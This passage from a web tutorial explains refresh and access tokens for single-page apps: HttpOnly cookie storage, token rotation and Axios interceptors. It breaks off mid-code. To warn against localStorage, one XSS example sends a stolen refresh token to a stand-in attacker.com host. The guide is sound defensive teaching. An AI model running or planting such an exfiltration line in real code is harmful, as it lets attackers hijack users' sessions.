&lt;strong&gt;Refresh Token&lt;/strong&gt; for renewing the Access Token without forcing a new login&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The main question:&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Where and how do we keep these tokens on the frontend so they stay secure and still deliver a smooth UX?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This guide focuses on &lt;strong&gt;refresh tokens&lt;/strong&gt; — the risks, the right architecture, and a hands-on implementation for the frontend.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Access Token vs. Refresh Token&lt;/strong&gt;
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Access Token
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Short-lived&lt;/strong&gt; (e.g., 5–15 minutes)&lt;/li&gt;
&lt;li&gt;Sent with every request (usually &lt;code&gt;Authorization: Bearer &amp;lt;token&amp;gt;&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;If stolen, usable until it expires&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  Refresh Token
&lt;/h3&gt;

&lt;p&gt;A &lt;strong&gt;longer-lived, sensitive&lt;/strong&gt; token whose only job is to:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Issue a new Access Token without forcing the user to log in again.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;As long as the Refresh Token is valid, the user can close the tab, come back hours or days later, and still be signed in.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Why bother with a Refresh Token?&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;With only an Access Token you have two bad choices:&lt;/p&gt;

&lt;p&gt;1) &lt;strong&gt;Make it short-lived&lt;/strong&gt; → users get prompted to log in often → bad UX&lt;br&gt;&lt;br&gt;
2) &lt;strong&gt;Make it long-lived&lt;/strong&gt; → if stolen, attackers keep access for a long time → bad security&lt;/p&gt;

&lt;p&gt;The split solves this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access Token → short-lived → lower risk&lt;/li&gt;
&lt;li&gt;Refresh Token → longer-lived → good UX&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Key differences&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;Access Token&lt;/th&gt;
&lt;th&gt;Refresh Token&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Purpose&lt;/td&gt;
&lt;td&gt;Auth each request&lt;/td&gt;
&lt;td&gt;Issue a new Access Token&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lifetime&lt;/td&gt;
&lt;td&gt;Short (minutes)&lt;/td&gt;
&lt;td&gt;Long (hours/days)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Usage&lt;/td&gt;
&lt;td&gt;Sent with every request&lt;/td&gt;
&lt;td&gt;Only on refresh endpoint (e.g., &lt;code&gt;/auth/refresh&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suggested storage&lt;/td&gt;
&lt;td&gt;In-memory / secure storage&lt;/td&gt;
&lt;td&gt;HttpOnly secure cookie on backend domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Risk if stolen&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;High (can mint many Access Tokens)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;The full auth flow with refresh&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;1) &lt;strong&gt;Login&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User sends credentials.&lt;/li&gt;
&lt;li&gt;Server returns an &lt;strong&gt;Access Token&lt;/strong&gt; and sets a &lt;strong&gt;Refresh Token&lt;/strong&gt; as an &lt;strong&gt;HttpOnly + Secure cookie&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2) &lt;strong&gt;Normal requests&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frontend reads the Access Token (from memory) and sets &lt;code&gt;Authorization&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Server validates and responds.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;3) &lt;strong&gt;Access Token expires&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server returns &lt;strong&gt;401 Unauthorized&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Frontend detects expiry and calls &lt;code&gt;/auth/refresh&lt;/code&gt; (Refresh Token is sent automatically via cookie).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;4) &lt;strong&gt;New tokens&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server validates the Refresh Token.&lt;/li&gt;
&lt;li&gt;If valid:

&lt;ul&gt;
&lt;li&gt;Returns a new Access Token.&lt;/li&gt;
&lt;li&gt;Usually issues a new Refresh Token (Token Rotation).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Frontend stores the new Access Token and retries the original request.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;5) &lt;strong&gt;Logout&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frontend calls &lt;code&gt;POST /auth/logout&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Server invalidates the Refresh Token and clears/expires the cookie.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Never store Refresh Tokens in localStorage&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;Tempting, but unsafe:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Unsafe — don't do this&lt;/span&gt;
&lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;refresh_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;REFRESH_TOKEN&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because localStorage is readable by JavaScript, an XSS bug lets attackers steal the token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// XSS example&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;refreshToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;refresh_token&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://attacker.com/steal?rt=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;encodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With a stolen Refresh Token, an attacker can mint fresh Access Tokens from anywhere.&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Avoid localStorage/sessionStorage for Refresh Tokens.&lt;/strong&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Best practice storage&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;For SPAs:&lt;/p&gt;

&lt;p&gt;1) &lt;strong&gt;Access Token in memory&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A simple variable or state manager (Redux, Zustand, etc.)&lt;/li&gt;
&lt;li&gt;Lost on full page reload → but Refresh Token issues a new one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;2) &lt;strong&gt;Refresh Token in an HttpOnly Secure Cookie&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set by the server on the backend domain.&lt;/li&gt;
&lt;li&gt;Key flags:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;HttpOnly&lt;/code&gt; → JavaScript can’t read it (XSS-resistant).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;Secure&lt;/code&gt; → HTTPS only.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SameSite=Strict&lt;/code&gt; or &lt;code&gt;Lax&lt;/code&gt; → lowers CSRF risk.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example login response header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: refresh_token=&amp;lt;token_value&amp;gt;;
  HttpOnly;
  Secure;
  Path=/auth/refresh;
  SameSite=Strict;
  Max-Age=1209600
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Path=/auth/refresh&lt;/code&gt; → only sent on refresh calls.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SameSite=Strict&lt;/code&gt; → avoids cross-site sends (CSRF reduction).&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  &lt;strong&gt;Token Rotation (why it matters)&lt;/strong&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Token Rotation&lt;/strong&gt; means:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Every time you use a Refresh Token to get a new Access Token, the server also issues a brand-new Refresh Token and invalidates the old one.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Benefits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A stolen old Refresh Token dies after your next refresh.&lt;/li&gt;
&lt;li&gt;Concurrent use from different IPs flags suspicious activity so the server can close the session.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Simple flow:&lt;/p&gt;

&lt;p&gt;1) Request &lt;code&gt;/auth/refresh&lt;/code&gt; with Refresh Token #1.&lt;br&gt;&lt;br&gt;
2) Server invalidates #1, returns Access Token + Refresh Token #2.&lt;br&gt;&lt;br&gt;
3) Next time, only #2 works.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;strong&gt;Practical frontend setup (Axios)&lt;/strong&gt;
&lt;/h2&gt;
&lt;h3&gt;
  
  
  1) Keep the Access Token in memory
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// authStore.js&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;setAccessToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getAccessToken&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;accessToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;clearAccessToken&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;accessToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;During login:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;setAccessToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./authStore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/auth/login&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;withCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// to send/receive HttpOnly cookie&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nf"&gt;setAccessToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Note: The Refresh Token is set as an HttpOnly cookie by the backend; the frontend never reads it directly.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2) Add the Access Token to requests (request interceptor)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;axios&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;getAccessToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./authStore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;axios&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;baseURL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/api&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;withCredentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// send refresh cookie when needed&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;interceptors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getAccessToken&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Authorization&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Bearer &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  3) Handle 401 and auto-refresh (response interceptor)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./api&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;setAccessToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;clearAccessToken&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;./authStore&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;isRefreshing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;pendingRequests&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;subscribeTokenRefresh&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pendingRequests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;onRefreshed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;pendingRequests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newToken&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="nx"&gt;pendingRequests&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;refreshToken&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/auth/refresh&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// HttpOnly cookie sent automatically&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;newAccessToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nf"&gt;setAccessToken&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newAccessToken&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;newAccessToken&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;interceptors&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;originalRequest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_retry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;originalRequest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;_retry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;isRefreshing&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;isRefreshing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
